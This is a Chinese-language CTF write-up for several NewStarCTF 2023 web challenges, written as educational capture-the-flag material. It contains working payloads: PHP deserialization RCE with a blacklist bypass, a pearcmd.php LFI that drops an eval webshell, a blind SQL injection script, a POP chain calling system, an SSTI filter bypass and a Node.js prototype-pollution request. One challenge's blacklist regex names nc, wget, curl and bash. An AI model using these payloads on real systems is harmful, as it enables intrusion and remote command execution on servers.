前言
没啥精力打了
官方wp:https://shimo.im/docs/QPMRxzGktzsZnzhz/read
Web
R!!!C!!!E!!!
无回显rce
这题抢了个一血
<?php
highlight_file(__FILE__);
class minipop{
public $code;
public $qwejaskdjnlka;
public function __toString()
{
if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
exec($this->code);
}
return "alright";
}
public function __destruct()
{
echo $this->qwejaskdjnlka;
}
}
if(isset($_POST['payload'])){
//wanna try?
unserialize($_POST['payload']);
}
这里通过写入文件来获得回显内容,用引号绕过函数限制
exp:
<?php
class minipop{
public $code="cat /flag_is_h3eeere|t'e'e 2";
public $qwejaskdjnlka;
}
$a=new minipop();
$a->qwejaskdjnlka=new minipop();
echo serialize($a);
Include 🍐
LFI包含pearcmd.php进行命令执行
<?php
error_reporting(0);
if(isset($_GET['file'])) {
$file = $_GET['file'];
if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
die('hacker!');
}
include($file.".php");
# Something in phpinfo.php!
}
else {
highlight_file(__FILE__);
}
?>
有hint,我们先访问phpinfo.php
在$_SERVER['FLAG']
这里发现hint
我们看一下register_argc_argv
这个设置
register_argc_argv = On
,意味着可以LFI包含pearcmd.php进行命令执行
那么payload一把梭了,注意是pearcmd,include
函数已经帮我们补上.php了
?file=?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST['cmd'])?>+/tmp/1.php
写入成功
直接包含/tmp/1,命令执行
medium_sql(复现)
布尔盲注
过滤union,select,and,or,sleep,where,ascii,substring,handler,information_schema
这几周sql做的有点麻,于是就没怎么试这道题
测试存在布尔盲注,注:#
需编码成%23
?id=TMP0919'And if(1>0,1,0)%23
?id=TMP0919'And if(0>1,1,0)%23
前者可以返回正常的信息id: TMP0919
,后者会返回id not exists
那就可以开始盲注了,注意用大小写绕过被过滤的字符
exp:
import requests
url = 'http://210a8d70-1389-4e32-9c29-af749329897b.node4.buuoj.cn:81/'
flag = ''
i = 0
j = 0
while True:
head = 1
tail = 127
i += 1
while head < tail:
j += 1
mid = (head + tail) >> 1
#payload = f"TMP0919' And if(asCii(Substr((Select Group_Concat(table_name) fRom infoRmation_schema.tables wHere tAble_schema=dAtabase()),{i},1))>{mid},1,0)%23"
# grades,here_is_flag
#payload=f"TMP0919' And if(asCii(Substr((Select Group_Concat(column_name) fRom infoRmation_schema.columns wHere tAble_name='here_is_flag'),{i},1))>{mid},1,0)%23"
# flag
payload = f"TMP0919' And if(asCii(Substr((Select flag fRom here_is_flag),{i},1))>{mid},1,0)%23"
# 查flag字段
param = "id=" + payload
#data = {"id": payload}
r = requests.get(url, params=param)
#r = requests.post(url, data=data)
if "id: TMP0919" in r.text:
head = mid + 1
else:
tail = mid
if head != 1:
flag += chr(head)
print(flag)
else:
break
POP Gadget
反序列化pop链
<?php
highlight_file(__FILE__);
class Begin{
public $name;
public function __destruct()
{
if(preg_match("/[a-zA-Z0-9]/",$this->name)){
echo "Hello";
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}
class Then{
private $func;
public function __toString()
{
($this->func)();
return "Good Job!";
}
}
class Handle{
protected $obj;
public function __call($func, $vars)
{
$this->obj->end();
}
}
class Super{
protected $obj;
public function __invoke()
{
$this->obj->getStr();
}
public function end()
{
die("==GAME OVER==");
}
}
class CTF{
public $handle;
public function end()
{
unset($this->handle->log);
}
}
class WhiteGod{
public $func;
public $var;
public function __unset($var)
{
($this->func)($this->var);
}
}
@unserialize($_POST['pop']);
链子:Begin::__destruct -> Then::__toString -> Super::__invoke -> Handle::__call -> CTF::end -> WhiteGod::__unset
不可访问的属性有点多,这里用__construct
来连接,最后urlencode一下
exp:
<?php
class Begin{
public $name;
}
class Then{
private $func;
public function __construct()
{
$this->func=new Super();
}
}
class Handle{
protected $obj;
public function __construct()
{
$this->obj=new CTF();
}
}
class Super{
protected $obj;
public function __construct()
{
$this->obj=new Handle();
}
}
class CTF{
public $handle;
public function __construct()
{
$this->handle=new WhiteGod();
}
}
class WhiteGod{
public $func="system";
public $var="cat /flag";
}
$a=new Begin();
$a->name=new Then();
echo(urlencode(serialize($a)));
GenShin
ssti
在响应头发现hint
访问/secr3tofpop
name参数存在ssti注入
fuzz一下,ban了{{}}
,'
,request
,init
,lipsum
,popen
直接查<class ‘os._wrap_close’>
/secr3tofpop?name={%print("".__class__.__mro__[1].__subclasses__())%}
位置在132,过滤了__init__
可以用__enter__
或者__exit__
替代
/secr3tofpop?name={%print("".__class__.__mro__[1].__subclasses__()[132].__enter__.__globals__)%}
过滤了popen,可以考虑用system,但是这里测了半天不知道怎么带外
其实拼接字符串绕过即可
payload:
/secr3tofpop?name={%print("".__class__.__mro__[1].__subclasses__()[132].__enter__.__globals__["pop"+"en"]("cat /flag").read())%}
OtenkiGirl(复现)
nodejs原型链污染
app.js
const env = global.env = (process.env.NODE_ENV || "production").trim();
const isEnvDev = global.isEnvDev = env === "development";
const devOnly = (fn) => isEnvDev ? (typeof fn === "function" ? fn() : fn) : undefined
const CONFIG = require("./config"), DEFAULT_CONFIG = require("./config.default");
const PORT = CONFIG.server_port || DEFAULT_CONFIG.server_port;
const path = require("path");
const Koa = require("koa");
const bodyParser = require("koa-bodyparser");
const app = new Koa();
app.use(require('koa-static')(path.join(__dirname, './static')));
devOnly(_ => require("./webpack.proxies.dev").forEach(p => app.use(p)));
app.use(bodyParser({
onerror: function (err, ctx) {
// If the json is invalid, the body will be set to {}. That means, the request json would be seen as empty.
if (err.status === 400 && err.name === 'SyntaxError' && ctx.request.type === 'application/json') {
ctx.request.body = {}
} else {
throw err;
}
}
}));
[
"info",
"submit"
].forEach(p => { p = require("./routes/" + p); app.use(p.routes()).use(p.allowedMethods()) });
app.listen(PORT, () => {
console.info(`Server is running at port ${PORT}...`);
})
module.exports = app;
hint.txt: “请只看‘routes’文件夹。没有SQL注入。”御坂御坂满怀期待地说。
/routes/submit.js
const Router = require("koa-router");
const router = new Router();
const SQL = require("./sql");
const sql = new SQL("wishes");
const Base58 = require("base-58");
const ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
const rndText = (length) => {
return Array.from({ length }, () => ALPHABET[Math.floor(Math.random() * ALPHABET.length)]).join('');
}
const timeText = (timestamp) => {
timestamp = (typeof timestamp === "number" ? timestamp : Date.now()).toString();
let text1 = timestamp.substring(0, timestamp.length / 2);
let text2 = timestamp.substring(timestamp.length / 2)
let text = "";
for (let i = 0; i < text1.length; i++)
text += text1[i] + text2[text2.length - 1 - i];
if (text2.length > text1.length) text += text2[0];
return Base58.encode(rndText(3) + Buffer.from(text)); // length = 20
}
const rndID = (length, timestamp) => {
const t = timeText(timestamp);
if (length < t.length) return t.substring(0, length);
else return t + rndText(length - t.length);
}
async function insert2db(data) {
let date = String(data["date"]), place = String(data["place"]),
contact = String(data["contact"]), reason = String(data["reason"]);
const timestamp = Date.now();
const wishid = rndID(24, timestamp);
await sql.run(`INSERT INTO wishes (wishid, date, place, contact, reason, timestamp) VALUES (?, ?, ?, ?, ?, ?)`,
[wishid, date, place, contact, reason, timestamp]).catch(e => { throw e });
return { wishid, date, place, contact, reason, timestamp }
}
const merge = (dst, src) => {
if (typeof dst !== "object" || typeof src !== "object") return dst;
for (let key in src) {
if (key in dst && key in src) {
dst[key] = merge(dst[key], src[key]);
} else {
dst[key] = src[key];
}
}
return dst;
}
router.post("/submit", async (ctx) => {
if (ctx.header["content-type"] !== "application/json")
return ctx.body = {
status: "error",
msg: "Content-Type must be application/json"
}
const jsonText = ctx.request.rawBody || "{}"
try {
const data = JSON.parse(jsonText);
if (typeof data["contact"] !== "string" || typeof data["reason"] !== "string")
return ctx.body = {
status: "error",
msg: "Invalid parameter"
}
if (data["contact"].length <= 0 || data["reason"].length <= 0)
return ctx.body = {
status: "error",
msg: "Parameters contact and reason cannot be empty"
}
const DEFAULT = {
date: "unknown",
place: "unknown"
}
const result = await insert2db(merge(DEFAULT, data));
ctx.body = {
status: "success",
data: result
};
} catch (e) {
console.error(e);
ctx.body = {
status: "error",
msg: "Internal Server Error"
}
}
})
module.exports = router;
一眼merge函数,一时半会没找出来要污染啥
随便刷新传点东西抓包看一下,发现有/info/0和/submit的路由
跟踪到routes/info.js
const Router = require("koa-router");
const router = new Router();
const SQL = require("./sql");
const sql = new SQL("wishes");
const CONFIG = require("../config")
const DEFAULT_CONFIG = require("../config.default")
async function getInfo(timestamp) {
timestamp = typeof timestamp === "number" ? timestamp : Date.now();
// Remove test data from before the movie was released
let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
timestamp = Math.max(timestamp, minTimestamp);
const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
return data;
}
router.post("/info/:ts?", async (ctx) => {
if (ctx.header["content-type"] !== "application/x-www-form-urlencoded")
return ctx.body = {
status: "error",
msg: "Content-Type must be application/x-www-form-urlencoded"
}
if (typeof ctx.params.ts === "undefined") ctx.params.ts = 0
const timestamp = /^[0-9]+$/.test(ctx.params.ts || "") ? Number(ctx.params.ts) : ctx.params.ts;
if (typeof timestamp !== "number")
return ctx.body = {
status: "error",
msg: "Invalid parameter ts"
}
try {
const data = await getInfo(timestamp).catch(e => { throw e });
ctx.body = {
status: "success",
data: data
}
} catch (e) {
console.error(e);
return ctx.body = {
status: "error",
msg: "Internal Server Error"
}
}
})
module.exports = router;
那么可知/info/0是用于查询返回信息,可以猜测flag是通过查询返回信息得到的
直接看getInfo
函数
async function getInfo(timestamp) {
timestamp = typeof timestamp === "number" ? timestamp : Date.now();
// Remove test data from before the movie was released
let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
timestamp = Math.max(timestamp, minTimestamp);
const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
return data;
}
这里对timestamp
进行了一次过滤,使得所返回的数据不早于配置文件config中的min_public_time
,猜测flag在这个min_public_time之前
跟踪到config.js和config.default.js
module.exports = {
app_name: "OtenkiGirl",
default_lang: "ja",
}
module.exports = {
app_name: "OtenkiGirl",
default_lang: "ja",
min_public_time: "2019-07-09",
server_port: 9960,
webpack_dev_port: 9970
}
可以发现config.js并没有配置min_public_time
所以getInfo
函数里面采用的min_public_time
是config.default.js里的
因此可以考虑污染min_public_time
为我们想要的日期,就能绕过最早时间限制,获取任意时间的数据
结合前面的merge函数,考虑注入data['__proto__']['min_public_time']
的值即可
构造,发包污染min_public_time
{
"date":"0",
"place":"Kivotos",
"contact":"bilibili",
"reason":"lv5",
"__proto__": {
"min_public_time": "1001-01-01"
}
}
然后访问/info/0路由获取全部信息即可得到flag